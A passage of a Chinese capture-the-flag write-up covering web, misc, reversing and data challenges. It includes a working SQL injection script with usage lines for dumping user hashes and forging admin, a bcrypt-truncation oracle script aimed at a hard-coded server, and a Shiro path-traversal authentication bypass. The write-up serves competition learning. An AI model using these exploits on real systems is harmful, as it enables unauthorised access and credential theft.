"""expr 形如 '<col1> FROM <table>',<H> 作为第 2 列注入"""
username = f"' UNION SELECT {expr.split(' FROM ')[0]}, '{H}' FROM {expr.split(' FROM ', 1)[1]} -- "
r = requests.post(URL, data={"username": username, "password": PASSWORD}, timeout=15)
t = r.text
if "用户登陆" in t:
m = t.split("欢迎 ", 1)[1].split(" 用户登陆", 1)[0]
return html.unescape(m)
if "无效" in t:
return None
return "ERR:" + t[:120]
def main():
global H
H = get_H()
print("H =", H)
expr = sys.argv[1] if len(sys.argv) > 1 else "group_concat(sql, char(10)) FROM sqlite_master"
if "FROM" not in expr.upper():
expr += " FROM sqlite_master"
print("RESULT:")
print(query(expr))
if __name__ == "__main__":
main()
# 用法:
# python3 crazy_sql_fast.py "group_concat(sql, char(10)) FROM sqlite_master" # dump 结构
# python3 crazy_sql_fast.py "group_concat(username || ':' || pwhash, char(10)) FROM users" # dump 用户
# python3 crazy_sql_fast.py "'admin' FROM users" # 伪造 admin
# bcrypt 截断逐字符提取 flag
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""用 bcrypt 72 字节截断从 crypt(P+flag, salt) oracle 提取 flag。
len(P)=72-n 时,输入截断为 P + flag[:n],每轮只需暴力 1 个新字符。
"""
import requests, re, urllib.parse, string, sys, multiprocessing as mp
URL = "http://45.40.247.139:17049/"
SECRET = "$2a$10$77b438009c258a4cb0215c98a19cfb61$" # strcmp 完整 secret
SALT = b"$2a$10$77b438009c258a4cb0215O" # crypt 有效盐
CHARSET = (string.ascii_lowercase + string.digits + "{}_-" +
string.ascii_uppercase + string.punctuation.replace("{}_", ""))
def server_crypt(pw):
url = URL + "?salt=" + urllib.parse.quote(SECRET, safe="")
for _ in range(3):
try:
r = requests.post(url, data={"username": "admin", "password": pw},
timeout=15, proxies={"http": None, "https": None})
m = re.search(r"你的登陆密码错误:([^\s<]+)", r.text)
if m:
return m.group(1)
except Exception:
import time; time.sleep(0.5)
return None
def brute(args):
import bcrypt
prefix, target = args
for c in CHARSET:
inp = (prefix + c).encode()[:72]
if bcrypt.hashpw(inp, SALT).decode() == target:
return c
return None
def main():
import bcrypt
flag = ""
pool = mp.Pool(8)
for n in range(1, 80):
P = "A" * (72 - n)
target = server_crypt(P) # 服务器回显 crypt("A"*(72-n) + flag, $secret)
if not target:
print(" [oracle fail]"); break
c = pool.apply(brute, ((P + flag, target),))
if c is None:
print(f"\nflag done at n={n}: {flag!r}"); break
flag += c
sys.stdout.write(c); sys.stdout.flush()
if c == "}":
print(f"\nend at n={n}: {flag!r}"); break
pool.close()
print("FULL FLAG:", flag)
if __name__ == "__main__":
main()
MISC
xbox-MISC
结合题目名 XBOX,重点分析 Xbox 手柄产生的 USB 输入数据。
USBPcap 官方定义的基础头结构为:
#pragma pack(1)
typedef struct
{
USHORT headerLen;
UINT64 irpId;
USBD_STATUS status;
USHORT function;
UCHAR info;
USHORT bus;
USHORT device;
UCHAR endpoint;
UCHAR transfer;
UINT32 dataLength;
} USBPCAP_BUFFER_PACKET_HEADER;
各字段偏移为:
| Offset | 长度 | 字段 |
| 0 | 2 | headerLen |
| 2 | 8 | irpId |
| 10 | 4 | status |
| 14 | 2 | function |
| 16 | 1 | info |
| 17 | 2 | bus |
| 19 | 2 | device |
| 21 | 1 | endpoint |
| 22 | 1 | transfer |
| 23 | 4 | dataLength |
基础头总长度:
2 + 8 + 4 + 2 + 1 + 2 + 2 + 1 + 1 + 4
= 27 byte
= 0x1b byte

第 1 个包是获取设备描述符的请求。
紧接着的第 2 个包返回了 18 字节 Device Descriptor。

USB 数据部分为:
12 01 00 02 ff 47 d0 40
5e 04 ea 02 01 03 01 02
03 01
按照 USB Device Descriptor 结构拆开:
12
表示:
bLength = 0x12 = 18
然后:
01
表示:
bDescriptorType = DEVICE
接下来:
00 02
按小端得到:
bcdUSB = 0x0200
然后:
ff
即:
bDeviceClass = 0xff
继续向后:
5e 04
按小端:
idVendor = 0x045e
再往后:
ea 02
得到:
idProduct = 0x02ea
所以目标设备描述符的关键字段为:
idVendor = 0x045e
idProduct = 0x02ea
而这个设备在 USBPcap 中被分配的:
device address = 2
因此后续分析主要关注:
usb.device_address == 2
使用:
usb.device_address == 2 && usb.endpoint_address == 0x82 && usb.data_len == 18
进行过滤



过滤后得到:
1920
条长度为 18 字节的输入报告。
例如:
20 00 7c 0e 10 00 00 00 00 00 62 04 38 f5 cd f9 e8 f3
20 00 7d 0e 10 00 00 00 00 00 62 04 38 f5 cd f9 e8 f3
20 00 7e 0e 10 00 00 00 00 00 62 04 38 f5 cd f9 e8 f3
20 00 7f 0e 00 00 00 00 00 00 62 04 38 f5 cd f9 e8 f3
20 00 80 0e 00 00 00 00 00 00 62 04 38 f5 cd f9 e8 f3
20 00 81 0e 00 00 00 00 00 00 62 04 38 f5 cd f9 e8 f3
20 00 82 0e 20 00 00 00 00 00 62 04 38 f5 cd f9 e8 f3
20 00 83 0e 20 00 00 00 00 00 62 04 38 f5 cd f9 e8 f3
20 00 84 0e 20 00 00 00 00 00 62 04 38 f5 cd f9 e8 f3
观察第 5 个字节:
10 10 10
00 00 00
20 20 20
00 00 00
...
可以看到每个状态都会连续出现 3 次。
其中只有三种值:
0x00
0x10
0x20
0x00 出现在两次有效输入之间,可以判断为按键释放状态。
因此真正编码数据的是:
0x10
0x20
将连续重复状态合并后,共得到:
320
次有效按键输入。
由于:
320 / 8 = 40
正好可以组成 40 字节数据。
尝试映射:
0x10 -> 0
0x20 -> 1
最开始 8 次输入为:
0x10
0x20
0x10
0x10
0x10
0x20
0x10
0x10
转换为:
01000100
二进制转 ASCII:
01000100 = 0x44 = D
继续:
01000001 = A
01010011 = S
01000011 = C
01010100 = T
01000110 = F
01111011 = {
得到:
DASCTF{
因此编码规则确定为:
0x10 = 0
0x20 = 1
0x00 = 按键释放,不参与编码
每 8 bit 按:
MSB-first
转换为 ASCII。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import struct
import sys
from itertools import groupby
PCAPNG_SHB = 0x0A0D0D0A
PCAPNG_IDB = 0x00000001
PCAPNG_EPB = 0x00000006
LINKTYPE_USBPCAP = 249
TARGET_DEVICE = 2
TARGET_ENDPOINT = 0x82
TARGET_TRANSFER = 1
TARGET_DATA_LENGTH = 18
STATE_OFFSET = 4
BIT_MAP = {
0x10: "0",
0x20: "1",
}
def parse_pcapng(filename):
with open(filename, "rb") as f:
raw = f.read()
offset = 0
endian = None
frame_number = 0
packets = []
linktypes = {}
while offset + 12 <= len(raw):
block_type_le = struct.unpack_from(
"<I", raw, offset
)[0]
if block_type_le == PCAPNG_SHB:
bom = raw[offset + 8:offset + 12]
if bom == b"\x4d\x3c\x2b\x1a":
endian = "<"
elif bom == b"\x1a\x2b\x3c\x4d":
endian = ">"
else:
raise ValueError("无法识别 pcapng 字节序")
if endian is None:
raise ValueError("未找到 Section Header Block")
block_type = struct.unpack_from(
endian + "I", raw, offset
)[0]
block_length = struct.unpack_from(
endian + "I", raw, offset + 4
)[0]
if block_length < 12:
raise ValueError("非法 pcapng block")
if block_type == PCAPNG_IDB:
linktype = struct.unpack_from(
endian + "H",
raw,
offset + 8
)[0]
interface_id = len(linktypes)
linktypes[interface_id] = linktype
elif block_type == PCAPNG_EPB:
(
interface_id,
timestamp_high,
timestamp_low,
captured_len,
original_len
) = struct.unpack_from(
endian + "IIIII",
raw,
offset + 8
)
packet_start = offset + 28
packet_end = packet_start + captured_len
packet = raw[
packet_start:packet_end
]
frame_number += 1
packets.append(
(
frame_number,
interface_id,
packet
)
)
offset += block_length
return packets, linktypes
def parse_usbpcap(packet):
if len(packet) < 27:
return None
header_len = struct.unpack_from(
"<H", packet, 0
)[0]
device = struct.unpack_from(
"<H", packet, 19
)[0]
endpoint = packet[21]
transfer = packet[22]
data_length = struct.unpack_from(
"<I", packet, 23
)[0]
if header_len > len(packet):
return None
data = packet[
header_len:
header_len + data_length
]
return {
"device": device,
"endpoint": endpoint,
"transfer": transfer,
"data_length": data_length,
"data": data,
}
def main():
if len(sys.argv) >= 2:
filename = sys.argv[1]
else:
filename = "XBOX.pcapng"
packets, linktypes = parse_pcapng(filename)
print(f"[+] LinkType: {linktypes}")
reports = []
for frame_number, interface_id, packet in packets:
usb = parse_usbpcap(packet)
if usb is None:
continue
if usb["device"] != TARGET_DEVICE:
continue
if usb["endpoint"] != TARGET_ENDPOINT:
continue
if usb["transfer"] != TARGET_TRANSFER:
continue
if usb["data_length"] != TARGET_DATA_LENGTH:
continue
if len(usb["data"]) != TARGET_DATA_LENGTH:
continue
reports.append(
(
frame_number,
usb["data"]
)
)
print(
f"[+] 输入报告数量: {len(reports)}"
)
runs = []
for state, group in groupby(
reports,
key=lambda x: x[1][STATE_OFFSET]
):
group = list(group)
runs.append(
{
"state": state,
"count": len(group),
}
)
bits = []
for run in runs:
state = run["state"]
if state == 0x00:
continue
if state not in BIT_MAP:
continue
bits.append(
BIT_MAP[state]
)
bit_string = "".join(bits)
print(
f"[+] bit 数量: {len(bit_string)}"
)
if len(bit_string) % 8 != 0:
raise ValueError(
"bit 长度不是 8 的整数倍"
)
result = bytearray()
for i in range(
0,
len(bit_string),
8
):
value = int(
bit_string[i:i + 8],
2
)
result.append(value)
flag = result.decode("ascii")
print(
f"[+] FLAG: {flag}"
)
if __name__ == "__main__":
main()

Web
Easy_Bypass
jar文件包解压 快速分析得到关键信息
// DemoController
@RestController
public class DemoController {
@RequestMapping(path = "/permit/{value}")
public String permit(@PathVariable String value) {
return "DASCTF{FAKE_FLAG}"; // 服务器上为真实 Flag
}
}
// MyShiroFilterFactoryBean.createInstance()
filterChainManager.addFilter("myFilter", new MyFilter());
filterChainManager.addToChain("/permit/.*", "myFilter"); // 正则过滤器链
PathMatchingFilterChainResolver resolver = new PathMatchingFilterChainResolver();
resolver.setPathMatcher(new RegExPatternMatcher()); // 用正则匹配
// MyFilter
public boolean isAccessAllowed(req, resp, mappedValue) {
String t = req.getHeader("Token");
return t != null && t.equals("FAKE_TOKEN");
}
分析可知
Shiro 1.9.0 的 WebUtils.getPathWithinApplication:
return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
它会去除分号参数、归一化 **.**/**..** 路径段。而 Spring/DispatcherServlet 实际路由时对原始 URI 的处理与 Shiro 不一致——这就是 CVE-2023-34478 认证绕过家族的本质(Shiro < 1.12.0 未修复)。
-
请求
/permit/..时: -
Shiro:归一化后得到
/,不匹配正则/permit/.*→ 过滤器链不生效 → 请求放行 -
Spring:仍将
/permit/..路由到/permit/{value}(value=..)→ 直接返回 flag -
/permit/..;/同理:先removeSemicolon清掉;,归一化/permit/..→/,同样绕过。
直接..;/绕过

得到最终flag
DASCTF{anEasy_CVE_Test}
RE
QRCodeWorld
1. 初步判断:Unity IL2CPP
解压附件后可以看到 QRCodeWorld.exe、GameAssembly.dll 和 QRCodeWorld_Data 等典型 Unity 文件。进一步查看 data.unity3d 可得到 UnityFS 标识和 2022.3.16f1 版本号。GameAssembly.dll 与 il2cpp_data/Metadata/global-metadata.dat 同时存在,说明该题使用 Unity IL2CPP,而非传统 Mono/.NET 脚本程序集。

文件格式与 Unity 版本识别
QRCodeWorld.exe
GameAssembly.dll
QRCodeWorld_Data/il2cpp_data/Metadata/global-metadata.dat
2. 根据题目提示寻找场景线索
题目只给出一句“Flag就在你脚下”,这种提示通常意味着关键内容被放在场景地面、出生点附近或某个可视化对象中。对 Unity 场景资源做字符串检索后,在 level0 中直接发现 “Scan QRCode to get Flag!”。因此可以确定:Flag 最终由场景中的二维码承载。

level0 中出现 “Scan QRCode to get Flag!”
3. 定位二维码生成类
继续对 global-metadata.dat 做符号检索,可以直接找到 QRCodeGenerator 类以及 GenerateQRCode、CreateCube、CalculateStartPosition 等方法。同时还能看到 blackMaterial、whiteMaterial、pixelScale、centerPosition、cubeHeight、qrCodeData 等字段。

global-metadata.dat 中的 QRCodeGenerator 关键符号
这些命名基本还原了程序逻辑:程序读取 qrCodeData 二维数组,根据每个元素是 0 还是 1,选择白色或黑色材质创建 Cube,再将大量 Cube 按二维网格摆放在地面,最终形成二维码。
qrCodeData → GenerateQRCode() → black/white material → CreateCube() → 地面二维码
4. GameAssembly.dll 的额外保护
直接按普通 IL2CPP 流程分析 GameAssembly.dll 时,会发现主体代码并未以正常形式直接暴露。入口逻辑会先把一段压缩数据解到内存,并继续恢复导入表及被编码的 64 位指针。仅做解压而跳过导入/指针修复,会导致后续方法指针表错位。
完整复现初始化流程后,可以恢复出约 55 MB 的原始 IL2CPP 映像。此时结合 global-metadata.dat,才能继续稳定定位 Assembly-CSharp 中的 QRCodeGenerator 逻辑。
本题真正关键并不是把整个壳完全分析干净,而是借助恢复后的 IL2CPP 映像确认二维码数据的初始化方式和静态数据来源。
5. 确定 qrCodeData 为 29×29
对 QRCodeGenerator 的初始化逻辑继续跟踪,可以确定 qrCodeData 是一个 int[29,29] 二维数组。数组并非逐项赋值,而是通过 RuntimeHelpers.InitializeArray 一类的静态数组初始化方式整体填充。
与此同时,在元数据中能够看到 __StaticArrayInitTypeSize=3364。这个数与 29×29 个 int32 的大小完全一致:

29×29 int32 数组与 3364 字节静态数据完全吻合:
因此这块 3364 字节的静态初始化数据就是完整的二维码矩阵。将其按小端 int32 解析,可得到 841 个 0/1 值,再按 29×29 顺序重排即可恢复二维码。
6. 恢复二维码
将 841 个整数转换为 29×29 黑白矩阵:值为 1 的位置绘制黑色,值为 0 的位置绘制白色,并在四周增加适当 quiet zone 后即可得到可扫描的 QR Code。
values = struct.unpack('<841I', data)
matrix = [values[i_29:(i+1)_29] for i in range(29)]
# 1 -> black, 0 -> white

从程序静态数组中恢复出的二维码
7. 扫描获得 Flag
为了避免肉眼判断或扫码软件差异,直接使用 OpenCV 的 QRCodeDetector 对恢复图片进行检测与解码,程序返回以下字符串:

OpenCV 对恢复二维码的实际解码结果
DASCTF{e45e144f-fe2a-4d49-9f3f-1af4f9df0244}
ClickMe
使用die查一下:

发现中间有附加数据,估计真这个逻辑就在里面,检测出附加数据是PE64

在文件中查找所有 MZ:
from pathlib import Path
data = Path("ClickMe.exe").read_bytes()
pos = 0
while True:
i = data.find(b"MZ", pos)
if i == -1:
break
print(hex(i))
pos = i + 1

结果中可以看到:
0x0
0x13060
0x13a76
0x17a61
0x25000
0x0 是外层 exe 自己的 PE 头。真正有效的内嵌 PE 位于:
0x25000
说明 0x25000 的确是一个完整 PE。
继续解析该 PE 的节表,可以得到它的原始大小为 0x6c00:
offset = 0x25000
raw_size = 0x6c00
提取脚本如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pathlib import Path
import struct
import sys
def u16(buf: bytes, off: int) -> int:
return struct.unpack_from("<H", buf, off)[0]
def u32(buf: bytes, off: int) -> int:
return struct.unpack_from("<I", buf, off)[0]
def parse_pe_raw_size(buf: bytes, base: int):
"""
判断 buf[base:] 是否是 PE。
如果是,返回:
machine, section_count, raw_size
否则返回 None。
"""
if base < 0 or base + 0x40 > len(buf):
return None
if buf[base:base + 2] != b"MZ":
return None
e_lfanew = u32(buf, base + 0x3C)
if e_lfanew < 0x40 or e_lfanew > 0x1000:
return None
pe_off = base + e_lfanew
if pe_off + 0x18 > len(buf):
return None
if buf[pe_off:pe_off + 4] != b"PE\x00\x00":
return None
coff = pe_off + 4
machine = u16(buf, coff)
section_count = u16(buf, coff + 2)
optional_header_size = u16(buf, coff + 16)
optional_header_off = coff + 20
section_table_off = optional_header_off + optional_header_size
if machine not in (0x014C, 0x8664):
return None
if section_count == 0 or section_count > 96:
return None
if section_table_off + section_count * 40 > len(buf):
return None
if optional_header_off + 64 > len(buf):
return None
raw_end = u32(buf, optional_header_off + 60)
for i in range(section_count):
sh = section_table_off + i * 40
size_of_raw_data = u32(buf, sh + 16)
pointer_to_raw_data = u32(buf, sh + 20)
if size_of_raw_data == 0:
continue
raw_end = max(raw_end, pointer_to_raw_data + size_of_raw_data)
if raw_end <= 0:
return None
if base + raw_end > len(buf):
return None
return machine, section_count, raw_end
def find_managed_embedded_pe(buf: bytes):
"""
查找内嵌的 .NET PE。
判断依据:
1. 文件中存在 MZ/PE 结构;
2. 不是 offset 0 的外层 exe;
3. 提取范围内包含 .NET 元数据魔数 BSJB。
"""
candidates = []
start = 0
while True:
pos = buf.find(b"MZ", start)
if pos == -1:
break
parsed = parse_pe_raw_size(buf, pos)
if parsed is not None:
machine, section_count, raw_size = parsed
carved = buf[pos:pos + raw_size]
if pos != 0 and b"BSJB" in carved:
candidates.append((pos, raw_size, machine, section_count))
start = pos + 1
if not candidates:
raise RuntimeError("no embedded managed PE found")
return candidates[-1]
def main() -> None:
if len(sys.argv) != 3:
print(f"usage: {Path(sys.argv[0]).name} <ClickMe.exe> <output.dll>", file=sys.stderr)
raise SystemExit(2)
input_path = Path(sys.argv[1])
output_path = Path(sys.argv[2])
buf = input_path.read_bytes()
offset, raw_size, machine, section_count = find_managed_embedded_pe(buf)
output_path.write_bytes(buf[offset:offset + raw_size])
print(f"input : {input_path}")
print(f"output : {output_path}")
print(f"offset : 0x{offset:x}")
print(f"raw_size : 0x{raw_size:x} ({raw_size})")
print(f"machine : 0x{machine:04x}")
print(f"sections : {section_count}")
print("done")
if __name__ == "__main__":
main()
提取出来:

DNSPY加载分析


写成 hex 是:
003917072e3c3f150029004f662d0c0e
283320292c332e2a18232d010e2b2e4c
002d070b6034220b191435200203281c
0110164f186513254c081c0a0c480e2c
构造函数还初始化了 _counter:
this._counter = 0;
并且把按钮点击事件绑定到了:
getFlagButton_Click
所以真正校验 flag 的函数就是:
ClickMe.ClickMe::getFlagButton_Click
还原后的核心逻辑如下:

private void getFlagButton_Click(object sender, EventArgs e)
{
this._counter++;
if (this._counter == 2)
{
MessageBox.Show(
"How you did it? 居然点了两次!!",
"Ohhhhhhhhhhhh!",
MessageBoxButtons.OK,
MessageBoxIcon.Asterisk
);
string input = InputDialog.ShowDialog("请输入您的Flag", "少爷您好");
while (input == string.Empty)
{
MessageBox.Show(
"输入的Flag不能为空",
"少爷您好",
MessageBoxButtons.OK,
MessageBoxIcon.Exclamation
);
input = InputDialog.ShowDialog("请输入您的Flag", "少爷您好");
}
if (input.Length < 64)
{
MessageBox.Show(
"Flag不对喵~少爷还是多点几次吧,说不定就可以点出来了~",
"唉,不对捏",
MessageBoxButtons.OK,
MessageBoxIcon.Hand
);
Environment.Exit(0);
}
Cipher cipher = new Cipher();
string keyString = input.Substring(7, input.Length - 60);
byte[] plainBytes = Encoding.UTF8.GetBytes(input);
byte[] keyBytes = Encoding.UTF8.GetBytes(keyString);
byte[] enc = cipher.Encipher(plainBytes, keyBytes);
bool ok = true;
for (int i = 0; i < 64; i++)
{
if (this._ciphertext[i] != enc[i])
{
ok = false;
}
}
if (ok)
{
MessageBox.Show(
"Flag正确的捏~",
"恭喜少爷~",
MessageBoxButtons.OK,
MessageBoxIcon.Asterisk
);
}
else
{
MessageBox.Show(
"Flag不对喵~少爷还是多点几次吧,说不定就可以点出来了~",
"唉,不对捏",
MessageBoxButtons.OK,
MessageBoxIcon.Hand
);
}
Environment.Exit(0);
}
else
{
MessageBox.Show(
"Why not try to decompile this program?",
"暂时无法为您呈现Flag~",
MessageBoxButtons.OK,
MessageBoxIcon.Exclamation
);
}
}
这里有几个关键点。
第一,必须点第二次按钮才会弹输入框:
this._counter++;
if (this._counter == 2)
{
...
}
第一次点击只提示:
Why not try to decompile this program?
第二,输入长度必须至少为 64:
if (input.Length < 64)
{
Environment.Exit(0);
}
第三,真正用于加密的 key 不是固定字符串,而是从输入 flag 自己里面截取的:
string keyString = input.Substring(7, input.Length - 60);
C# 的:
Substring(startIndex, length)
表示从 startIndex 开始取 length 个字符。
所以这里是:
keyString = input[7 : 7 + input.Length - 60]
如果 flag 正常长度就是 64,那么:
keyString = input.Substring(7, 4)
keyString = input[7:11]
也就是说,key 是 flag 去掉 DASCTF{ 后的前 4 个字符。
进入:
ClickMe.Crypt.Cipher
可以看到有三个重要字段:
private byte[] array1;
private int array1Ptr;
private byte[] array2;
构造函数:
public Cipher()
{
this.array2 = new byte[256];
}

作用:
- 把
array1Ptr置为 0; - 创建 256 字节数组
array1; - 使用
new Random(2024)作为固定随机种子; - 生成 256 个
0~255之间的伪随机数。
因为随机种子固定为 2024,所以 array1 每次都一样。

作用是把输入 key 循环填充到 array2。
如果 key 是:
QDxz
那么 array2 就是:
Q D x z Q D x z Q D x z ...
即:
array2[i] = key[i % len(key)]

每次返回 array1[array1Ptr],然后指针加一。
本题只比较前 64 字节,所以不会触发 array1Ptr == 255 之后的重置逻辑。

把它写成数学形式:
cipher[i] = plain[i] ^ array2[array1[i]]
而:
array2[j] = key[j % key.Length]
所以:
cipher[i] = plain[i] ^ key[array1[i] % key.Length]
如果 flag 长度为 64,那么 key 长度为 4,因此:
cipher[i] = plain[i] ^ key[array1[i] % 4]
已知 flag 格式:
DASCTF{...}
所以明文前 7 字节是:
D A S C T F {
也就是:
44 41 53 43 54 46 7b
密文前若干字节是:
00 39 17 07 2e 3c 3f 15 00 29 00 ...
我们需要复现:
new Random(2024).Next(256)
生成的前 11 个随机数是:
[29, 178, 133, 145, 3, 83, 197, 217, 97, 160, 111]
因为 key 长度是 4,所以实际使用的 key 下标是随机数对 4 取模:
[1, 2, 1, 1, 3, 3, 1, 1, 1, 0, 3]
设 key 为:
key[0], key[1], key[2], key[3]
根据:
cipher[i] = plain[i] ^ key[random[i] % 4]
由已知前缀推导。
第 0 位:
cipher[0] = 0x00
plain[0] = 'D' = 0x44
random[0] % 4 = 1
0x00 = 0x44 ^ key[1]
key[1] = 0x44 = 'D'
第 1 位:
cipher[1] = 0x39
plain[1] = 'A' = 0x41
random[1] % 4 = 2
0x39 = 0x41 ^ key[2]
key[2] = 0x39 ^ 0x41 = 0x78 = 'x'
第 4 位:
cipher[4] = 0x2e
plain[4] = 'T' = 0x54
random[4] % 4 = 3
0x2e = 0x54 ^ key[3]
key[3] = 0x2e ^ 0x54 = 0x7a = 'z'
目前得到:
key[1] = 'D'
key[2] = 'x'
key[3] = 'z'
还差:
key[0]
由于正常 flag 长度为 64,所以:
keyString = input.Substring(7, input.Length - 60)
等价于:
keyString = input.Substring(7, 4)
也就是:
plain[7] = key[0]
plain[8] = key[1]
plain[9] = key[2]
plain[10] = key[3]
看第 9 位:
cipher[9] = 0x29
plain[9] = key[2] = 'x' = 0x78
random[9] % 4 = 0
0x29 = plain[9] ^ key[0]
0x29 = 0x78 ^ key[0]
key[0] = 0x29 ^ 0x78
key[0] = 0x51
key[0] = 'Q'
所以 key 为:
QDxz
已经知道:
key = QDxz
加密公式:
cipher[i] = plain[i] ^ key[random[i] % 4]
XOR 自反,所以解密公式也是:
plain[i] = cipher[i] ^ key[random[i] % 4]
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Solve DASCTF ClickMe.exe statically.
已知:
1. ClickMe.dll 中 _ciphertext 是 64 字节密文;
2. 加密算法是:
cipher[i] = plain[i] ^ key[random[i] % len(key)]
3. random 来自 C#:
new Random(2024).Next(256)
4. 正常 flag 长度是 64;
5. key = input.Substring(7, input.Length - 60)
当 input.Length == 64 时:
key = input[7:11]
6. flag 格式为:
DASCTF{...}
"""
CIPHERTEXT_HEX = (
"003917072e3c3f150029004f662d0c0e"
"283320292c332e2a18232d010e2b2e4c"
"002d070b6034220b191435200203281c"
"0110164f186513254c081c0a0c480e2c"
)
class DotNetRandom:
"""
复现 C# new Random(seed).Next(maxValue) 的兼容算法。
本题代码中使用的是:
new Random(2024)
random.Next(256)
因此需要得到和 .NET 一致的伪随机序列。
"""
MBIG = 2147483647
MSEED = 161803398
def __init__(self, seed: int):
self.seed_array = [0] * 56
if seed == -2147483648:
subtraction = self.MBIG
else:
subtraction = abs(seed)
mj = self.MSEED - subtraction
self.seed_array[55] = mj
mk = 1
ii = 0
for _ in range(1, 55):
ii += 21
if ii >= 55:
ii -= 55
self.seed_array[ii] = mk
mk = mj - mk
if mk < 0:
mk += self.MBIG
mj = self.seed_array[ii]
for _ in range(1, 5):
for i in range(1, 56):
n = i + 30
if n >= 55:
n -= 55
self.seed_array[i] -= self.seed_array[1 + n]
if self.seed_array[i] < 0:
self.seed_array[i] += self.MBIG
self.inext = 0
self.inextp = 21
def internal_sample(self) -> int:
self.inext += 1
if self.inext >= 56:
self.inext = 1
self.inextp += 1
if self.inextp >= 56:
self.inextp = 1
ret = self.seed_array[self.inext] - self.seed_array[self.inextp]
if ret == self.MBIG:
ret -= 1
if ret < 0:
ret += self.MBIG
self.seed_array[self.inext] = ret
return ret
def next(self, max_value: int) -> int:
if max_value <= 0:
raise ValueError("max_value must be positive")
return int(self.internal_sample() * (1.0 / self.MBIG) * max_value)
def main() -> None:
ct = bytes.fromhex(CIPHERTEXT_HEX)
if len(ct) != 64:
raise ValueError(f"ciphertext length should be 64, got {len(ct)}")
rng = DotNetRandom(2024)
random_stream = []
for _ in range(64):
random_stream.append(rng.next(256))
print("[+] first 11 random bytes:")
print(random_stream[:11])
key_len = 4
print("[+] first 11 key indexes:")
print([x % key_len for x in random_stream[:11]])
key = [None] * key_len
prefix = b"DASCTF{"
for i, plain_byte in enumerate(prefix):
key_index = random_stream[i] % key_len
key_byte = ct[i] ^ plain_byte
if key[key_index] is not None and key[key_index] != key_byte:
raise ValueError("conflicting key byte derived from prefix")
key[key_index] = key_byte
"""
现在通过 DASCTF{ 前缀可以推出:
key[1] = 'D'
key[2] = 'x'
key[3] = 'z'
还差 key[0]。
因为:
key = input[7:11]
所以:
plain[7] = key[0]
plain[8] = key[1]
plain[9] = key[2]
plain[10] = key[3]
又有:
ct[i] = plain[i] ^ key[random_stream[i] % 4]
因此继续用 i = 7, 8, 9, 10 的方程推出剩余 key。
"""
changed = True
while changed:
changed = False
for i in range(7, 11):
left = i - 7
right = random_stream[i] % key_len
c = ct[i]
if left == right:
if c != 0:
raise ValueError("invalid self-xor equation")
continue
if key[left] is not None and key[right] is None:
key[right] = key[left] ^ c
changed = True
elif key[left] is None and key[right] is not None:
key[left] = key[right] ^ c
changed = True
elif key[left] is not None and key[right] is not None:
if (key[left] ^ key[right]) != c:
raise ValueError("conflicting key equation")
if any(v is None for v in key):
raise ValueError(f"failed to derive complete key: {key}")
key_bytes = bytes(key)
print("[+] key:")
print(key_bytes.decode("ascii"))
flag = bytearray()
for i in range(64):
k = key_bytes[random_stream[i] % key_len]
flag.append(ct[i] ^ k)
flag = bytes(flag)
print("[+] flag:")
print(flag.decode("ascii"))
if __name__ == "__main__":
main()

DS
datainfoleak
题目提供两个关键文件:

其中 个人信息整合规范说明.md 给出了最终数据处理规则:
- 同一员工的信息可能分散在多条数据中。
- 必须使用
userid作为唯一关联键。 - 最终只保留 6 个字段全部存在的记录:
useridusernamenamephoneidcardemail
- 缺少其中任意字段的记录都必须丢弃。
- 最终输出 CSV,列顺序必须为:
userid,username,name,phone,idcard,email
并上传校验平台验证。

题目同时明确说明:
流量中的数据经过加密处理,需先解密才能获取明文内容。
因此整个题目的核心可以拆成四步:
分析 HTTP 流量
↓
找到加密密钥和密文
↓
解密所有 JSON 数据
↓
按照 userid 合并字段
↓
筛选六字段完整记录
↓
生成 result.csv
↓
上传平台获得 flag
先分析流量吧,用wireshake打开

http过滤,很显然有编码信息。
观察其API:
/api/basic /api/contact /api/identity /api/info /api/profile ,很明显是加密的数据。
仔细观察pass参数发现刚好16字节,很有可能作为 AES-128 密钥 。
我们以第四帧和第六帧为例,第六帧就是返回的数据

第一层是个BASE,后面的估计就是AES的加密。
解密流程为:
HTTP Body
↓
Base64 Decode
↓
AES-128-ECB Decrypt
↓
PKCS#7 Unpad
↓
UTF-8 Decode
↓
JSON
使用:
key = b"BnJVnu.QCHhovMoo"
对密文进行 AES-128-ECB 解密。
解密后的明文为:
{"userid": 2499, "username": "hCgUWL3CG7U2mjbp78", "email": "5u1u2b7kh4tf2di@yahoo.com", "idcard": "360121196605158967"}
这已经可以确定解密方式正确。
所以我们就可以扩展写脚本,批量提取数据:
完整 solve.py 如下。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import base64
import csv
import json
import re
import socket
import struct
from collections import Counter, defaultdict
from pathlib import Path
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.padding import PKCS7
SERVER_PORT = 80
REQUIRED_FIELDS = (
"userid",
"username",
"name",
"phone",
"idcard",
"email",
)
REQUEST_RE = re.compile(
rb"^GET /api/([^? ]+)\?pass=([^ ]+) HTTP/1\.1\r\n"
)
def iter_pcapng_packets(path):
"""
直接解析 pcapng。
当前题目使用:
Section Header Block
Interface Description Block
Enhanced Packet Block
该函数逐个返回:
(linktype, raw_packet)
"""
data = Path(path).read_bytes()
offset = 0
# 默认先按照 little endian。
# 真正的字节序会在 Section Header Block 中根据 BOM 更新。
endian = "<"
# interface_id -> linktype
linktypes = {}
while offset + 12 <= len(data):
# Section Header Block 的 Block Type 固定为:
#
# 0A 0D 0D 0A
#
# 这个值不受字节序影响,因此直接比较原始字节。
raw_block_type = data[offset:offset + 4]
if raw_block_type == b"\x0a\x0d\x0d\x0a":
if offset + 12 > len(data):
raise ValueError(
"truncated Section Header Block"
)
# Byte-Order Magic 位于 SHB 偏移 +8。
bom = data[offset + 8:offset + 12]
# Little Endian 文件中的原始字节。
if bom == b"\x4d\x3c\x2b\x1a":
endian = "<"
# Big Endian 文件中的原始字节。
elif bom == b"\x1a\x2b\x3c\x4d":
endian = ">"
else:
raise ValueError(
f"invalid pcapng byte-order magic "
f"at 0x{offset:x}"
)
# 根据当前 Section 的字节序读取 Block Type。
block_type = struct.unpack_from(
endian + "I",
data,
offset
)[0]
# Block Total Length。
block_len = struct.unpack_from(
endian + "I",
data,
offset + 4
)[0]
# pcapng 一个 Block 至少需要:
